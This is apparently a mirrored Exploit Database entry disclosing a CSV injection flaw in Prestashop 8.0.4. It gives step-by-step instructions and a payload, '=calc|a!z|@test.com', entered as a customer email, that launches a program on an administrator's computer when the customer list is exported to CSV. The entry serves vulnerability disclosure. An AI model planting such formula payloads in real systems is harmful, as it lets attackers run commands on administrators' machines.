Prestashop 8.0.4 – CSV injection

• Exploit Database
• 140 阅读

• 作者： Mirabbas Ağalarov
  日期： 2023-05-23
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51463/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21

  Exploit Title: Prestashop 8.0.4 - CSV injection Application: prestashop Version: 8.0.4 Bugs:CSV Injection Technology: PHP Vendor URL: https://prestashop.com/ Software Link: https://prestashop.com/prestashop-edition-basic/ Date of found: 14.05.2023 Author: Mirabbas Ağalarov Tested on: Windows     2. Technical Details & POC ======================================== Step 1. login as user step 2. Go to My Account then information ( http://localhost/index.php?controller=identity ) step 3. Set Email as=calc|a!z|@test.com step 3. If admin Export costumers as CSVfile ,in The computer of adminoccurs csv injection and will open calculator (http://localhost/admin07637b2omxxdbmhikgb/index.php/sell/customers/?_token=mtc1BTvq-Oab2lBdfCaxpOorYraGGVMiTFluJzOpkWI)   payload: =calc|a!z|@test.com